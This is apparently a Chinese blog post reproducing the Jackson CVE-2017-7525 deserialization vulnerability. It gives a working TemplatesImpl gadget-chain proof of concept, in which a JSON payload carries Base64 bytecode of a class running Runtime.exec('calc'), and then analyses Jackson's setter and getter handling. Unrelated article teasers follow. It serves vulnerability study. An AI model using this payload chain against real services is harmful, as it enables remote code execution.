Jackson CVE-2017-7525 反序列化漏洞
0x00 前言
Jackson 相对应fastjson来说利用方面要求更加苛刻,默认情况下无法进行利用。
同样本次的调用链也可以参考fastjson内容:Java代码审计——Fastjson TemplatesImpl调用链
相关原理,可以参考:Jackson 反序列化漏洞原理
0x01 环境搭建
pom文件如下
<dependencies><dependency><groupId>com.fasterxml.jackson.dataformat</groupId><artifactId>jackson-dataformat-xml</artifactId><version>2.7.9</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version></dependency></dependencies>
测试Demo:
ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.getCtClass("com.evil");byte[] bytes = ctClass.toBytecode();String encoded = Base64.encode(bytes);String json = "{\"object\":[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{" +"\"transletBytecodes\":[\""+encoded+"\"]," +"\"transletName\":\"cs\"," +"\"outputProperties\":{}" +"}]}";System.out.printf(json);ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();mapper.readValue(json, People.class);}
evil文件
public class evil extends AbstractTranslet {public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public evil() throws IOException {Runtime.getRuntime().exec("calc");}public static void main(String[] args) throws IOException {evil obj = new evil();}
}
其他环境
- jdk 1.7u2
0x02 漏洞复现

0x03 原理分析
主要原理就是需要调用指定类的setter方法来进行赋值,这个没有什么好解释的,主要是看一下Jackson是如何触发Getter的。
setter和getter可以参考:Java中动态调用setter以及getter
重点在循环遍历的位置:
jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\BeanDeserializer.class#vanillaDeserialize


当存在set方法的时候就调用 jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\impl\FieldProperty.class,就会触发set方法

当不存set方法的时候就会调用jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\impl\SetterlessProperty.class

实际上fastjson的调用链,jackson基本都是可以用的
以上
相关文章:
Jackson CVE-2017-7525 反序列化漏洞
0x00 前言 Jackson 相对应fastjson来说利用方面要求更加苛刻,默认情况下无法进行利用。 同样本次的调用链也可以参考fastjson内容:Java代码审计——Fastjson TemplatesImpl调用链 相关原理,可以参考:Jackson 反序列化漏洞原理 …...
【2023】DevOps、SRE、运维开发面试宝典之Kubernetes相关面试题
文章目录 1、Kubernetes集群的特点?2、Kubernetes集群各节点的组件有那些?分别有什么作用?3、简述Kubernetes集群的工作原理4、什么是Pod资源5、Label标签的作用?6、Deployment控制器与Statfulset控制器的区别?7、Pod拉取镜像的三种策略?8、简述Pod的生命周期9、Pod的生命…...
【算法】PatchMatch立体匹配算法_原理解析
目录 前言 原理解析 1.倾斜支持窗口(Slanted Support Windows) 什么是视差平面? 为什么视差和像素坐标点之间的关系可以解释为平面方程? 视差平面的通用参数方程和点加法向量方程 什么是倾斜支持窗口? 2.基于倾…...
【同步工具类:CyclicBarrier】
同步工具类:CyclicBarrier介绍源码分析CyclicBarrier 基于ReetrantLock Condition实现。构造函数await() 函数业务场景方案一:代码实现测试截图方案二代码实现测试打印总结介绍 官方介绍: 一种同步辅助工具,允许一组线程都等待对方到达共同的障碍点。CyclicBarrie…...
Android 12.0 Settings 去掉打开开发者模式和USB调试模式的广播
1.概述 在12.0的系统产品rom定制化开发中,在系统Settings的开发者模式中,打开开发者模式和usb调试模式都会发出开发者模式改变广播和usb调试模式改变广播, 项目开发功能需要要求去掉这两个广播以免影响其他功能,所以就要看哪里发出广播来屏蔽掉就可以了,这样就可以去掉开发…...
OSI七层网络模型和TCP/IP四层网络模型的异同
文章目录前言一、什么是OSI?二、什么是TCP/IP四层模型?三、OSI七层网络模型和TCP/IP四层网络模型的关系:四、 OSI七层和TCP/IP的区别:前言 本节系统总结: 一、什么是OSI?二、什么是TCP/IP四层模型…...
接口测试必备技能 - 加密和签名
1、什么是加密以及解密? 加密:在网络上传输的原始数据(明文)经过加密后形成(密文)传输,防止被窃取。 解密:将加密还原成原始数据 2、加密方式分类? 对称式加密…...
JVM虚拟机概述(1)
1.JVM概述 1.1为什么要学习JVM 通过学习JVM ( java Virtual Machine )可以帮助我们理解java程序运行的过程,了解虚拟机中各种机制的实现原理。为后期写出优质的代码做好准备,为向更高的层次提升打好基础。 1.2虚拟机 虚拟机的本质就是在windows中&…...
学习.NET MAUI Blazor(七)、实现一个真正的ChatGPT聊天应用
今天在新闻上看到一条消息,OpenAI已经开放了ChatGPT的接口,也就是GPT-3.5,对比原来的GPT-3,增加了gpt-3.5-turbo、gpt-3.5-turbo-0301两个模型。 gpt-3.5-turbo:使用最新的GPT-3.5模型,并针对聊天进行了优…...
Django框架学习
文章目录Django框架项目开发1. 创建项目2. 项目目录结构3. 视图函数(view)4. 路由配置url5. HTTP请求6. HTTP响应 - 状态吗7. GET方式传参8. POST传递参数模板Templates1. 通过 loader 获取模板,通过HttpResponse进行响应2. 使用 render() 直接加载并响应…...
JavaSE21-集合1-set
文章目录一、集合概念二、set集合1、set集合的特点2、HashSet2.1 特点2.2 创建对象2.3 常用方法2.4 遍历2.4.1 foreach遍历2.4.2 使用迭代器遍历2.4.3 转换为数组遍历一、集合概念 集合就是用于存储多个数据的容器。相对于具有相同功能的数组来说,集合的长度可变会…...
Web版和客户端哪种SQL工具更好?ChatGPT有话要说
2023年年初公司发布了一款Web版SQL工具,短期内就赢得了众多用户的喜爱和下载。不过,也有SQL用户在评论区中提出自己的观点,认为Web版工具都不可靠,甚至看见Web版工具就劝返… … 工具Web化逐渐成为一种趋势,比如&…...
从客户端的角度来看移动端IM即时通讯的消息可靠性和送达机制
如何确保IM 不丢消息是个相对复杂的话题,从客户端发送数据到服务器,再从服务器抵达目标客户端,最终在 UI 成功展示,其间涉及的环节很多,这里只取其中一环「接收端如何确保消息不丢失」来探讨,粗略聊下我接触…...
2023年java春招面试题及答案
2023年java春招面试题1、下面有关jdbc statement的说法错误的是?2、下面有关JVM内存,说法错误的是?3、下面有关servlet service描述错误的是?4、下面有关servlet和cgi的描述,说法错误的是?5、下面有关SPRIN…...
Django学习——基础篇(上)
一、Django的安装 pip install djangopython目录下出现两个文件 djando-admin.exe django django-admin.exe django 二、创建项目 1.命令行(终端) 1.打开终端 winR 输入cmd 2.进入项目目录 3.执行命令创建项目 2.Pycharm 两种方法对比 1.命令行创…...
研报精选230302
目录 【个股230302华西证券_比亚迪】系列点评五十四:迪“王”需求向上 出口“海”阔天空【个股230302华西证券_华利集团】下游去库存背景下承压,毛利率保持稳健【个股230302开源证券_恒顺醋业】公司信息更新报告:四季度业绩承压,期…...
Unity心得
- 将结果与因子颠倒的函数Mathf.InverseLerp非常实用 - at 10 meters, you want volume 1 - at 20 meters, you want volume 0 - volume InvLerp( 20, 10, distance ) - 显示HideFlags为Hide类型的物体 Resources .FindObjectsOf…...
TryHackMe-Binex
Binex 枚举计算机并获取交互式 shell。利用 SUID 位文件,使用 GNU 调试器利用缓冲区溢出并通过 PATH 操作获得根访问权限。 端口扫描 循例 nmap SMB枚举 题目给了提示:Hint 1: RID range 1000-1003 Hint 2: The longest username has the unsecure pa…...
外贸人如何写出优秀的开发信?附详细思路
如何写出优秀的开发信?最近做出口生意的客户都在抱怨,开发信的回复率越来越低,其实原因有很多,有时候并非自己的能力实在很欠缺。原因总结如图:第一:市场不景气这个就是就属于客观因素了,这也许…...
python自学之《21天学通Python》(18)——第21章 案例2 Python搞定大数据
“大数据(Big Data)”这个术语最早期的引用可追溯到apache org的开源项目Nutch。当时,大数据用来描述为更新网络搜索索引需要同时进行批量处理或分析的大量数据集。随着谷歌MapReduce和GoogleFileSystem (GFS)的发布&a…...
ClawSuite:模块化网络安全工具集在渗透测试中的实战应用
1. 项目概述:ClawSuite,一个被低估的网络安全工具集如果你在网络安全领域摸爬滚打了一段时间,尤其是在渗透测试或者红队评估的圈子里,你大概率听说过或者用过像 Metasploit、Nmap、Burp Suite 这些耳熟能详的“瑞士军刀”。但今天…...
2026金铲铲之战电脑版模拟器实测:选对模拟器轻松上分
一、实测前提说明作为拥有三年游玩经验的金铲铲之战老弈士,从手机端切换到电脑端游玩后,大屏在阵容运营、棋子对位、选秀博弈上的优势十分突出:手机小屏不仅看不清棋子星级、装备细节,频繁触屏操作还容易误触卖错棋子、放错站位&a…...
【收藏】2026测试人必看!再不学大模型AI,真的要被行业淘汰了
最近和身边做测试的朋友闲聊,发现大家的焦虑感比往年更重了——有人做了3年功能测试,跳槽面试连初筛都过不了;有人深耕性能测试5年,薪资原地踏步,反而被刚入行、懂AI测试的新人弯道超车。 从ChatGPT横空出世引爆AI行业…...
LeetCode 岛屿数量题解
LeetCode 岛屿数量题解 题目描述 给定一个二维网格地图 1(陆地)和 0(水),计算岛屿的数量。 示例: 输入:grid [ ["1","1","1","1","0"], …...
第六届机械制造与智能控制国际学术会议(ICMMIC 2026)
第六届机械制造与智能控制国际学术会议(ICMMIC 2026)将于2026年6月12-14日在中国浙江湖州隆重举行。本次会议旨在汇聚全球“机械制造、智能控制”领域的学者、专家、研发者和技术人员,共同探讨学术前沿,分享科研成果,促…...
CMS三十年:从“手工建站”到“智能基座”
一个从业者的观察与思考不知不觉,跟CMS打交道已经十几年了。从早期的织梦、帝国,到后来的WordPress,再到现在的各类无头CMS和低代码平台,这个领域的变化比想象中要快得多。写这篇文章,算是对CMS发展历程的一次梳理&…...
CanFestival回调函数避坑指南:为什么你的RPDO参数修改了却没生效?
CanFestival回调函数深度解析:RPDO参数修改失效的五大隐蔽原因与实战解决方案 在工业自动化领域,CanFestival作为开源的CANopen协议栈,被广泛应用于各类嵌入式设备中。然而,许多开发者在配置RPDO(接收过程数据对象&…...
别再乱打包了!手把手教你用Kali Linux和Metasploit生成免杀后门(附实战演示)
Kali Linux高级免杀技术实战:从原理到绕过Windows Defender 在渗透测试和红队演练中,后门程序的免杀能力直接决定了行动的成败。许多初学者在使用Metasploit生成基础payload后,常常发现它们被主流杀毒软件轻易拦截。本文将深入探讨免杀技术的…...
EmbBERT架构解析:面向TinyML的革新设计与优化
1. EmbBERT架构解析:面向TinyML的革新设计在边缘计算设备上部署自然语言处理模型一直面临内存和计算资源的双重限制。传统BERT模型即使经过压缩,其2MB版本在TinyNLP基准测试中平均准确率仅为83.93%,且激活内存占用高达1.5MB。EmbBERT通过三大…...
终极大脑训练指南:5个简单步骤用BrainWorkshop提升你的认知能力
终极大脑训练指南:5个简单步骤用BrainWorkshop提升你的认知能力 【免费下载链接】brainworkshop Continued development of the popular brainworkshop game 项目地址: https://gitcode.com/gh_mirrors/br/brainworkshop BrainWorkshop是一款专业的免费开源大…...
